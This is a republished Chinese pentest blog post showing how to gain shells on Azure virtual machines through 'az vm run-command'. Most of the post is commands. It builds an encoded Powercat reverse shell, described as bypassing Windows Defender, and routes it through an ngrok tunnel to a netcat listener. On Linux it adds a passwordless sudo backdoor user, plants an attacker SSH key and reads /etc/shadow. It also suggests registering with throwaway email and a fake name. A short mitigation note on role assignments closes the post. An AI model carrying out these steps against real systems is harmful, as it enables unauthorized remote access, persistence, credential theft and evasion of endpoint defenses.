反向shell 作为 Azure VM 的本地系统用户或root用户

admin 2024年10月11日09:18:35评论21 views字数 7287阅读24分17秒阅读模式

总结

在本文中,我将向您展示如何使用 Azure“vm run-command”来获取对 Azure 虚拟机的(反向)shell 访问权限

免責聲明

本文仅供参考和教育目的,适用于那些愿意并好奇地了解和学习安全和渗透测试的人。不得将内容用于非法目的。如果您准备好学习新事物,请继续阅读。

Microsoft Azure“az vm run-command”允许您获得对虚拟机的控制台访问权限,而无需使用管理员密码或私有 SSH 密钥。具有“虚拟机参与者”角色的 Azure 管理员有权执行“vm run command”。默认情况下,Azure“vm run-command”以 Windows 本地系统帐户或 Linux root 帐户身份运行命令。

为什么这很有用?

首先,它充当恢复机制。失去管理访问权限的管理员仍然可以登录到相应的虚拟机。

此外,在渗透测试作业中,您可以检查给定的权利是否过于宽泛。被测账户可能被授予了比预期更多的权限。这可能会导致横向移动。

POC 由 3 台计算机组成:Azure 云虚拟机 01(默认 Azure 预置的 Windows Server 2022)、Azure 云虚拟机 02(默认 Azure 预置的 Linux Ubuntu 18.04 LTS)和攻击者(Kali Linux 2023.1 版本)。

在接下来的部分中,我将使用“az vm run-command”演示两种场景:

- Windows 场景:包括 Windows Defender 绕过的反向 shell(Powercat 编码的负载)

- Linux 场景:SSH 绑定 shell

对于 Windows 方案,我们将使用工具 ngrok (https://ngrok.com/)。Ngrok 用于在 ngrok 云服务器和 Kali Linux 攻击者的系统之间设置 VPN 隧道。来自 Windows 目标系统的出站流量将通过 ngrok VPN 隧道路由,最后路由到 Kali 系统。因此,请务必提前征得许可,这(ngrok 用法)是否属于 “参与规则” 。这个 sceario 很有用,因为目标系统在公共 IP 广告上没有入站访问权限。

在 Linux 场景中,我们不会使用反向 shell,但会使用内置的 SSH 访问。但是,仅当目标虚拟机公开具有入站 SSH 访问权限的公有 IP 地址时,此方案才有效。否则,也可能出现反向 shell 方案。例如,在 Linux 上,您可以使用 Python 或 Bash 负载与攻击者计算机上的侦听器建立连接。

POC;Windows 反向 shell

首先(步骤 1 到 9)我们将准备我们的 Kali Linux 系统:

  • 安装 ngrok
  • 在 ngrok 注册帐户
  • 安装 Docker
  • 下载 Azure-cli Docker 映像
  1. 在攻击者计算机 Kali Linux 上执行
cd /tmp
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
sudo tar xvzf /tmp/ngrok-v3-stable-linux-amd64.tgz

sudo chown -R root:root /tmp/ngrok
sudo mv /tmp/ngrok /usr/local/bin
ngrok version
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

2. 在攻击者机器 Kali Linux 上执行

获取临时电子邮件地址以注册 ngrok.io。您可以获得一个 10 分钟的邮箱,其中包含 https://www.minuteinbox.com/

反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

3. 在攻击者机器 Kali Linux 上执行

使用临时电子邮件地址注册 ngrok。导航到 https://dashboard.ngrok.com/signup

提供以下信息:

姓名:<您的真实姓名或假姓名>

电子邮件:<your-email>@meantodeal.com

密码:<YourPassword>

4. 在攻击者机器 Kali Linux 上执行

不要忘记验证您的电子邮件地址以进行 ngrok.com

反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

5. 在攻击者机器 Kali Linux 上执行

在 https://dashboard.ngrok.com/get-started/setup 中,复制并粘贴 ngrok API 令牌。

反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

5. 在攻击者机器 Kali Linux 上执行

安装 ngrok API 密钥。

ngrok config add-authtoken 2OVFgvlBTGDipmNkHbGpI<redacted>

Install Azure CLI tool om Docker

Microsoft 提供了 Azure cli-tool (https://learn.microsoft.com/en-us/cli/azure/install-azure-cli-linux?pivots=apt) 的分步安装。安装后,一切似乎都很好,直到我运行 Azure vm 命令。我的屏幕上显示以下错误消息:
ValueError:API 版本 2022–11–01 没有操作组“virtual_machines”

反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

我决定继续使用 az 工具的 docker 版本。

7. 在攻击者机器 Kali Linux 上执行

自选;删除旧版本的 Docker。我们的 Kali 系统包括 Docker.io(企业版)的安装。

sudo apt remove docker docker-engine docker.io containerd runc

8. 在攻击者机器 Kali Linux 上执行

现在,安装 Docker 社区版(参见 https://www.kali.org/docs/containers/installing-docker-on-kali/)

# add docker repro
printf '%sn' "deb https://download.docker.com/linux/debian bullseye stable" | sudo tee /etc/apt/sources.list.d/docker-ce.list

# add key for docker repro
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/trusted.gpg.d/docker-ce-archive-keyring.gpg
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户
# install docker
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

8. 在攻击者机器 Kali Linux 上执行

启动 Docker 引擎服务。

sudo service docker start
sudo service docker status
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

9. 在攻击者机器 Kali Linux 上执行

根据 https://hub.docker.com/_/microsoft-azure-cli 安装 docker Azure-cli 映像。我们将使用主机系统上的 /tmp 目录创建映射。

sudo docker run -v /tmp/:/tmp -it mcr.microsoft.com/azure-cli
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

我们已经完成了准备工作。我们可以继续我们的 PoC 并使用 Azure-cli 工具执行 Azure 命令。

10. 在攻击者计算机上的 Azure-cli docker 容器内执行

使用 Azure 帐户(虚拟机参与者)登录。此帐户应具有“虚拟机参与者”角色或更高级别。

az login -u $azuser -p "$azpassword"
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

11. 在攻击者计算机上执行,在 Azure-cli docker 容器内

列出可用的虚拟机,包括 VM 名称、资源组和操作系统。

az vm list --query "[].{vmName:name, ResourceGroup:resourceGroup,os:storageProfile.imageReference.offer, version:storageProfile.imageReference.sku}" -o table
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

在下一部分中,我将使用变量 $MyWindowsVMname$MyLinuxVMname 和 $MyResourceGroup 来引用虚拟机名称和资源组。

12. 在攻击者计算机上执行,在 Azure-cli docker 容器内

选择要操作的 Windows VM(VmName 列)。使用 az vm run-command 启用 PowerShell 远程处理:

# enable PowerShell remoting
az vm run-command invoke --name $MyWindowsVMname -g $MyResourceGroup --command-id EnableRemotePS
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

13. 在攻击者计算机上执行,在 Azure-cli docker 容器内

使用 az vm run-command 执行命令类型 C:Windowswin.ini。

az vm run-command invoke --command-id RunPowerShellScript --name $MyWindowsVMname -g $MyResourceGroup --script 'type C:Windowswin.ini'
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

14. 在攻击者机器 Kali linux 上执行

打开一个新的终端选项卡并重命名为 “NGROK”。设置映射到本地端口 443 的 ngrok 隧道。

# Kali: ngrok tcp tunnel
ngrok tcp 443
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户
tcp://6.tcp.ngrok.io:10574

15. 在攻击者机器 Kali linux 上执行

打开一个新的终端选项卡并重命名为 “Netcat listener”。设置与 ngrok 映射(端口 443)对应的 netcat 侦听器。

# Kali: netcat tcp listener
nc -nlvp 443
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

16. 在攻击者机器 Kali linux 上执行

打开一个新的终端选项卡。创建 Powercat 编码反向 shell 代码,这将绕过 Windows Defender 保护。将 ngrok 隧道详细信息 (server:port) 用于变量 LHOST 和 LPORT。这将生成有效负载文件 /tmp/shell-443.txt(可在 Kali 和 Azure Docker 容器中访问)。

# Kali: create encoded powercat code
LHOST=6.tcp.ngrok.io
LPORT=10574
rshell=shell-443.txt
pwsh -c "iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c $LHOST -p $LPORT -e cmd.exe -ge" > /tmp/$rshell
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

17. 在攻击者计算机上的 Azure-cli docker 容器内执行

返回到 docker container terminal 选项卡。使用 az vm run-command 对编码的 Powercat 有效负载执行 PowersShell。

# Azure VM: vm execute powercat code
code=$(cat /tmp/shell-443.txt)
az vm run-command invoke --command-id RunPowerShellScript --script "iex 'powershell -E $code'" --name $MyWindowsVMname -g $MyResourceGroup
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户
az vm run-command invoke — command-id RunPowerShellScript — 脚本 “iex 'powershell -E $code'” — 名称 $MyWindowsVMname -g $MyResourceGroup

请注意 State:它保持为 'Running'。这意味着命令正在执行,而反向 shell 正在等待。

18. 在攻击者计算机上执行,在 Azure-cli docker 容器内

检查 netcat 终端选项卡。你将看到与目标 Azure Windows 服务器的反向 shell 连接。

反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

shell 作为 Local System!

反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

POC;Linux ssh 外壳

如前所述,我们不在 Linux 方案中使用 ngrok。在此方案中,我们有一台 Linux 计算机,可通过 SSH 访问公有 IP 地址。筛选通常基于源 IP 地址。我们将使用 Ubuntu 计算机对公有 IP 地址进行入站 SSH 访问。

19. 在攻击者机器 Kali Linux 上执行

可选:在 Kali 计算机上生成 SSH 密钥。

ssh-keygen
cat $HOME/.ssh/id_rsa.pub

20. 在攻击者计算机上执行,在 Azure-cli docker 容器内

使用 az vm run-command 执行 “id;whoami”。

az vm run-command invoke -g "$MyResourceGroup" -n "$MyLinuxVMname" --command-id RunShellScript --scripts "id;whoami"
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

注意:命令以 'root' 身份执行

21. 在攻击者机器上的 Azure-cli docker 容器内执行

使用 az vm run-command 检查 ssh 服务是否正在运行。

az vm run-command invoke -g "$MyResourceGroup" -n "$MyLinuxVMname" --command-id RunShellScript --scripts 'service sshd status'
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

22. 在攻击者计算机上执行,在 Azure-cli docker 容器内

使用 az vm run-command 检索虚拟机公共 IP 地址。

az vm show --name $MyLinuxVMname --resource-group $MyResourceGroup -d --query publicIps -o tsv
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

23. 在攻击者机器上的 Azure-cli docker 容器内执行

使用 az vm run-command 创建新用户并将该用户添加到 sudoers 组。

# create new user in sudoers group
az vm run-command invoke -g "$MyResourceGroup" -n "$MyLinuxVMname" --command-id RunShellScript --scripts 'useradd -m pentesternwh; usermod -aG sudo pentesternwh'
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

24. 在攻击者计算机上执行,在 Azure-cli docker 容器内

使用 az vm run-command 使用户能够在没有密码的情况下执行所有 sudo 命令。

az vm run-command invoke -g "$MyResourceGroup" -n "$MyLinuxVMname" --command-id RunShellScript --script 'echo "pentesternwh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers'
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

25. 在攻击者机器上执行,Kali 攻击者机器

将 SSH 公钥复制到 /tmp 目录(可从 Docker 容器中访问)

# copy ssh public key to home dir
cat $HOME/.ssh/id_rsa.pub > /tmp/ssh_public_key.txt
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

26. 在攻击者计算机上的 Azure-cli docker 容器内执行

使用 az vm run-command 为攻击者用户创建一个 .ssh 目录,包括攻击者的公钥 ($HOME/.ssh/authorized_keys)。

# push the ssh public key
ssh_key=$(cat /tmp/ssh_public_key.txt)
az vm run-command create --resource-group "$MyResourceGroup" --vm-name "$MyLinuxVMname" --run-command-name "MyCommand" --async-execution false --run-as-user "pentesternwh" --script "mkdir -p /home/pentesternwh/.ssh/; echo $ssh_key > /home/pentesternwh/.ssh/authorized_keys"
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

27. 在攻击者机器上执行,Kali 攻击者机器

使用 ssh 以新用户身份登录。

ssh pentesternwh@1.2.3.247
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

我们已登录!

28. 在云服务器上执行 02.

检查 sudo 权限。

sudo cat /etc/shadow
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户
反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

缓解

“az vm run-command”是 Azure 管理工具集 (https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command) 的一部分。角色可能配置错误。

问问自己:

  • 此用户是否真的需要 Azure“虚拟机参与者”角色?
  • Azure“虚拟机参与者”的当前范围是什么?

您应该评估用户角色分配。

引用

https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command

https://ngrok.com/

  • 反向shell 作为 Azure VM 的本地系统用户或root用户

  •  

  • 反向shell 作为 Azure VM 的本地系统用户或root用户

其它课程

QT开发底层原理与安全逆向视频教程(2024最新)

反向shell 作为 Azure VM 的本地系统用户或root用户

linux恶意软件开发对抗与基于ebpf网络安全视频教程(2024最新)

 

反向shell 作为 Azure VM 的本地系统用户或root用户

linux文件系统存储与文件过滤安全开发视频教程(2024最新)

反向shell 作为 Azure VM 的本地系统用户或root用户

linux高级usb安全开发与源码分析视频教程

 

反向shell 作为 Azure VM 的本地系统用户或root用户

 

linux程序设计与安全开发

 

反向shell 作为 Azure VM 的本地系统用户或root用户

  • windows恶意软件开发与对抗视频教程

  • 反向shell 作为 Azure VM 的本地系统用户或root用户

 

 
  • 反向shell 作为 Azure VM 的本地系统用户或root用户

  • windows

  • 反向shell 作为 Azure VM 的本地系统用户或root用户

  • windows()

  • 反向shell 作为 Azure VM 的本地系统用户或root用户

  • USB()

  • 反向shell 作为 Azure VM 的本地系统用户或root用户

  • ()

  • 反向shell 作为 Azure VM 的本地系统用户或root用户

  • ios

  • 反向shell 作为 Azure VM 的本地系统用户或root用户

  • windbg

  • 反向shell 作为 Azure VM 的本地系统用户或root用户

  • ()

  • 反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户反向shell 作为 Azure VM 的本地系统用户或root用户

  • 反向shell 作为 Azure VM 的本地系统用户或root用户

  • 反向shell 作为 Azure VM 的本地系统用户或root用户

  •  

  • 反向shell 作为 Azure VM 的本地系统用户或root用户

 

 

原文始发于微信公众号(安全狗的自我修养):反向shell 作为 Azure VM 的本地系统用户或root用户

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月11日09:18:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反向shell 作为 Azure VM 的本地系统用户或root用户http://cn-sec.com/archives/3252248.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息